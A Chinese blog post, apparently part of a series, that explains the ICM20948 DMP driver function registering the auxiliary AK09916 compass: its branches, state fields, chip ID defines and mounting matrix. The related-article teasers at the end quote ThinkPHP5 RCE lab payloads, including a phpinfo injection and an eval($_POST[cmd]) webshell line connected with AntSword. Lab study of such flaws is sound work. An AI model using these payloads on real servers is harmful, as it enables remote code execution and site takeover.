ICM20948 DMP代码详解(8)

news2024/9/20 18:35:02

接前一篇文章:ICM20948 DMP代码详解(7)

 

上一回讲解了EMP-App中的入口函数main()中重点关注的第2段代码的后一个函数inv_icm20948_register_aux_compass,讲解了其各个参数,本回对于函数代码进行解析。为了便于理解和回顾,再次贴出函数源码,在EMD-Core\sources\Invn\Devices\Drivers\ICM20948\Icm20948AuxCompassAkm.c中,如下:

void inv_icm20948_register_aux_compass(struct inv_icm20948 * s,
		enum inv_icm20948_compass_id compass_id, uint8_t compass_i2c_addr)
{
	switch(compass_id) {
	case INV_ICM20948_COMPASS_ID_AK09911:
		s->secondary_state.compass_slave_id = HW_AK09911;
		s->secondary_state.compass_chip_addr = compass_i2c_addr;
		s->secondary_state.compass_state = INV_ICM20948_COMPASS_INITED;
		/* initialise mounting matrix of compass to identity akm9911 */
		s->mounting_matrix_secondary_compass[0] = -1;
		s->mounting_matrix_secondary_compass[4] = -1;
		s->mounting_matrix_secondary_compass[8] = 1;
		break;
	case INV_ICM20948_COMPASS_ID_AK09912:
		s->secondary_state.compass_slave_id = HW_AK09912;
		s->secondary_state.compass_chip_addr = compass_i2c_addr;
		s->secondary_state.compass_state = INV_ICM20948_COMPASS_INITED;
		/* initialise mounting matrix of compass to identity akm9912 */
		s->mounting_matrix_secondary_compass[0] = 1;
		s->mounting_matrix_secondary_compass[4] = 1;
		s->mounting_matrix_secondary_compass[8] = 1;
		break;
	case INV_ICM20948_COMPASS_ID_AK08963:
		s->secondary_state.compass_slave_id = HW_AK8963;
		s->secondary_state.compass_chip_addr = compass_i2c_addr;
		s->secondary_state.compass_state = INV_ICM20948_COMPASS_INITED;
		/* initialise mounting matrix of compass to identity akm8963 */
		s->mounting_matrix_secondary_compass[0] = 1;
		s->mounting_matrix_secondary_compass[4] = 1;
		s->mounting_matrix_secondary_compass[8] = 1;
		break;
	case INV_ICM20948_COMPASS_ID_AK09916:
		s->secondary_state.compass_slave_id = HW_AK09916;
		s->secondary_state.compass_chip_addr = compass_i2c_addr;
		s->secondary_state.compass_state = INV_ICM20948_COMPASS_INITED;
		/* initialise mounting matrix of compass to identity akm9916 */
		s->mounting_matrix_secondary_compass[0] = 1;
		s->mounting_matrix_secondary_compass[4] = -1;
		s->mounting_matrix_secondary_compass[8] = -1;
		break;
	default:
		s->secondary_state.compass_slave_id  = 0;
		s->secondary_state.compass_chip_addr = 0;
		s->secondary_state.compass_state = INV_ICM20948_COMPASS_RESET;
	}
}

函数代码其实也比较好理解。根据第2个参数的实际值进行区分,走不同的分支。上一回已经讲过,此处第2个参数对应的实参为INV_ICM20948_COMPASS_ID_AK09916,该参数对应的枚举值为3,实际意义是选择ICM20948片上自带的AK09916磁力计传感器。

在此,就以case INV_ICM20948_COMPASS_ID_AK09916这一分支为例进行解析,其它分支意思是基本一致的。

	case INV_ICM20948_COMPASS_ID_AK09916:
		s->secondary_state.compass_slave_id = HW_AK09916;
		s->secondary_state.compass_chip_addr = compass_i2c_addr;
		s->secondary_state.compass_state = INV_ICM20948_COMPASS_INITED;
		/* initialise mounting matrix of compass to identity akm9916 */
		s->mounting_matrix_secondary_compass[0] = 1;
		s->mounting_matrix_secondary_compass[4] = -1;
		s->mounting_matrix_secondary_compass[8] = -1;
		break;

一句一句来看,先看第一据个:

        s->secondary_state.compass_slave_id = HW_AK09916;

s是函数的第1个参数struct inv_icm20948 * s,它的类型struct inv_icm20948前文书讲到过,当时说后续使用的时候再针对于具体成员进行讲解,现在就到了具体讲解的时候了。struct inv_icm20948代码较长,这里只看与secondary_state成员有关的部分,如下:

typedef struct inv_icm20948 {
	struct inv_icm20948_serif serif;
    ……
	/* secondary device support */
	struct inv_icm20948_secondary_states {
		struct inv_icm20948_secondary_reg {
			uint16_t addr;
			uint16_t reg;
			uint16_t ctrl;
			uint16_t d0;
		} slv_reg[4];
		unsigned char sSavedI2cOdr;
		/* compass support */
		uint8_t compass_sens[3];
		long final_matrix[9];
		const int16_t *st_upper;
		const int16_t *st_lower;
		int scale;
		uint8_t dmp_on;
		uint8_t secondary_resume_compass_state;
		uint8_t mode_reg_addr;
		int compass_chip_addr;
		int compass_slave_id;
		inv_icm20948_compass_state_t compass_state;
	} secondary_state;
    ……
} inv_icm20948_t;

第1句代码的意思就是设置struct inv_icm20948对象的secondary_state成员的compass_slave_id为HW_AK09916。

HW_AK09916宏在EMD-Core\sources\Invn\Devices\Drivers\ICM20948\Icm20948Defs.h中定义,如下:

// compass chip list
#define HW_AK8963 0x20
#define HW_AK8975 0x21
#define HW_AK8972 0x22
#define HW_AK09911 0x23
#define HW_AK09912 0x24
#define HW_AK09916 0x25

这里这个0x25,具体代表什么意思,笔者暂时没有弄清楚,既不在ICM20948的芯片手册里,也不在AK09916的芯片手册里。姑且权当作是一个列表中的特定值吧。

接下来的一句是:

        s->secondary_state.compass_chip_addr = compass_i2c_addr;

这句代码的意思就是设置struct inv_icm20948对象的secondary_state成员的compass_chip_addr为第3个参数uint8_t compass_i2c_addr。上一回已知道,该值为0x0C,代表的是AK09916的从设备地址。

ea9780d553c34334b83333df7628dacd.png

接下来的一句是:

        s->secondary_state.compass_state = INV_ICM20948_COMPASS_INITED;

INV_ICM20948_COMPASS_INITED是一个枚举值,在EMD-Core\sources\Invn\Devices\Drivers\ICM20948\Icm20948.h中定义,如下:

/** @brief States for the secondary device
 */
typedef enum inv_icm20948_compass_state
{
	INV_ICM20948_COMPASS_RESET = 0,
	INV_ICM20948_COMPASS_INITED,
	INV_ICM20948_COMPASS_SETUP,
}inv_icm20948_compass_state_t;

这句代码的意思就是设置struct inv_icm20948对象的secondary_state成员的compass_chip_addr为INV_ICM20948_COMPASS_INITED即已初始化状态。

接下来再看后三句代码:

		/* initialise mounting matrix of compass to identity akm9916 */
		s->mounting_matrix_secondary_compass[0] = 1;
		s->mounting_matrix_secondary_compass[4] = -1;
		s->mounting_matrix_secondary_compass[8] = -1;

这里只看struct inv_icm20948中与mounting_matrix_secondary_compass成员有关的部分,如下:

typedef struct inv_icm20948 {
	struct inv_icm20948_serif serif;
    ……
	/* Icm20948Fifo usage */
	signed char mounting_matrix[9];
	signed char mounting_matrix_secondary_compass[9];
	long soft_iron_matrix[9];
    ……
} inv_icm20948_t;

mounting_matrix_secondary_compass数组的作用官方代码中并没有给出解释说明,笔者猜测与磁力计芯片的方向可能有关系,或者可能就是AK09916计算时的固定值。

至此,EMP-App中的入口函数main()中重点关注的第2段代码的后一个函数inv_icm20948_register_aux_compass就解析完了。第2段代码也就解析完成了。

下一回继续往下进行解析。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115969.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

市场独宠大尺寸超微小间距LED显示屏COB智能会议一体机

在当今这个信息化高速发展的时代,大屏幕显示设备已成为企业会议、教育培训、展览展示、商业广告等多个领域不可或缺的重要工具。随着技术的不断进步,市场上涌现出了投影机、液晶一体机、DLP背投、小间距LED、LED会议一体机以及新兴的COB智能会议一体机等…

vulhub Thinkphp5 2-rce远程代码执行漏洞

步骤一: 执行以下命令启动靶场环境并在浏览器访问 cd /vulhub/thinkphp/2-rce #进入漏洞环境所在目录docker-compose up -d #启动靶场docker ps #查看容器信息 步骤二:访问网页 步骤三:?s/Index/index/L/${phpinfo()} 步骤四:?…

828华为云征文 | 搭建云服务器Flexus X实例,开启简单上云第一步

828华为云征文 | 搭建云服务器Flexus X实例,开启简单上云第一步 Flexus云服务器X实例是一个高度可扩展的云平台,提供了一系列的服务,包括数据处理、应用开发、服务器托管等;对于开发者来说,Flexus云服务器X实例提供了一…

Percona 开源监控方案 PMM 详解

文章目录 前言1. 安装部署1.1 Server 安装1.2 Client 安装 2. 监控数据库2.1 MySQL2.2 PostgreSQL 3. Dashboard 介绍总结 前言 Percona Monitoring and Management (PMM) 是 Percona 公司基于业界流行的组件 Prometheus 和 Grafana 设计开发的一体化数据库监控解决方案。本篇…

vulhub ThinPHP5 2-rce远程代码执行漏洞

1.打开环境 进入环境所在的文件 docker-compose up -d 一键启动 2.浏览器访问环境 3.构造payload ?s/index/index/L/${phpinfo()} 4.写入一句话木马 ?s/Index/index/name/${print(eval($_POST[cmd]))} 5.使用蚁剑连接 http://192.168.10.233:8080/?s/Index/index/name…

SpringMVC基于注解使用:国际化

01-国际化介绍 首先在bootstrap下载个页面 下载后把登录页面的代码粘上去 然后再登录页面代码上有些超链接需要再spring-mvc.xml里面配置下,登录页面才能正常显示 配置静态资源 国际化-根据浏览器语言国际化 现在是中文的情况,要改为英文 1.配置下属…

秒懂:进程优先级

1.概念 简单来说,进程优先级是对于资源访问顺序来说的,谁先访问资源,谁的优先级就高。 注意:这和权限概念不一样,权限是能不能访问。 2.情景引入 进程的运行,是在CPU上执行,每次执行只能执行CP…

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了…

寒冬下,你不知道的赛道!

见字如面,技术人雄起! 现在的环境怎样没有比技术人更有体会的了吧,但是我也不禁要问,还有那些赛道过的不错,还有谁在挣钱。因为能量是守恒的,西边不亮东边亮。真巧还真让我找到一些。 中药 2023年中国中药…

文件名管理器,一款免费的文件名管理工具,支持文件整理功能

文件名管理器是一款可以批量修改文件名的工具,但是相较于其他工具又有不同。除了批量重命名功能外,软件同时提供一些特色功能:把文件名插入到文本文件中、根据文件名写入音乐ID3信息,整理下载的视频资源、音乐分类整理等。软件提供…

大圣也得靠AI?深扒《黑神话:悟空》后的AI技术!

要说最近爆火刷屏的顶流热词,非《黑神话:悟空》莫属。 图片来源:新华社 《黑神话:悟空》游戏背景设定在一个宏大而神秘的神话宇宙中,融合了古代中国的神话传说与虚构的奇幻元素,构建了一个绚丽多彩的开放世…

019、JOptionPane类的常用静态方法详解

目录 JOptionPane类的常用静态方法详解 1. showInputDialog()方法 1.1基本用法 1.2带有默认值的输入框 1.3带有选项的输入对话框 1.4自定义图标的输入对话框 2. showConfirmDialog()方法 2.1基本用法 2.2自定义按钮和图标 2.3带有自定义组件的确认对话框 3. showMes…

Pipeline流水线通过git拉取Jenkinsfile报错 error: RPC failed; result=22, HTTP code = 404

Pipeline流水线通过git拉取Jenkinsfile报错 error: RPC failed; result22, HTTP code 404 在学习共享库时使用通过git拉取jenkinsfile时,报错在排查gitlab服务状态,网络通讯,防火墙规则以及Jenkins凭据均可以正常使用,最后发现的…

HTB-Tactics(Impacket工具集合 和 smb特殊共享)

前言 各位师傅大家好,我是qmx_07,今天给大家讲解Tactics靶机 渗透过程 信息搜集 服务器开启了smb协议 连接smb服务器 Admin$ 对应的是 C:\Windows 目录,是 Windows 自动创建的共享,主要用于执行一些与系统管理相关的操作,例如远程文件管…

Spring Boot3.x 启动自动执行sql脚本

1 引言 某些项目在首次启动时,需要先手动创建数据库表,然后再手动写入初始数据才能正常使用。为了省去这个手动操作过程,我们可以使用Spring Boot启动时执行sql脚本的配置,全自动完成这个过程。 2 配置 具体配置如下&#xff1…

Redis访问工具

使用Redis存储缓存数据,如何通过Java去访问Redis? 防止后面看晕,先来张图。 1. Redis的客户端库 Redis的客户端库是Redis官方提供的,用于让Java等编程语言与Redis服务器进行通信的工具包。常见的Redis客户端库有多个&#xff0c…

828华为云征文|Flexus X实例C#/.Net Core 结合(git代码管理、docker自定义镜像)快速发布部署-让你的项目飞起来~

目录 前言 环境准备 购买服务器配置 项目部署 项目准备(Dockerfile文件) Git部署并拉取代码 安装Git 配置Git用户信息 SSH密钥 安装docker 添加Docker GPG密钥 添加Docker官方软件源 再次更新软件包列表 安装docker 项目运行 构建镜像 …

MySQL 的基础 一 (连接池, SQL接口, 查询解析器, 查询优化器, 存储引擎接口, 执行器)

目录 1 MySQL数据库的连接池 2 网络连接必须让线程来处理 3 SQL接口:负责处理接收到的SQL语句 4 查询解析器:让MySQL能看懂SQL语句 5 查询优化器:选择最优的查询路径 6 调用存储引擎接口,真正执行SQL语句 7 执行器&…

UE4_后期处理_后期处理材质及后期处理体积三—遮挡物体描边显示

一、效果: 在很多游戏中为了玩家能看到墙面背后是否有敌人,会给被遮挡的敌人增加描边显示,效果如下: 参考: https://zhuanlan.zhihu.com/p/81310476 https://zhuanlan.zhihu.com/p/358140547 二、所需知识 知识点…

数据结构与算法学习day20-二叉树的最大深度、最小深度、完全二叉树的节点个数、平衡二叉树、二叉树所有路径

一、二叉树的最大深度 1.题目 104. 二叉树的最大深度 - 力扣(LeetCode) 2.思路 2.1递归法 二叉树节点的深度:指从根节点到该节点的最长简单路径边的条数或者节点数(取决于深度从0开始还是从1开始)二叉树节点的高度…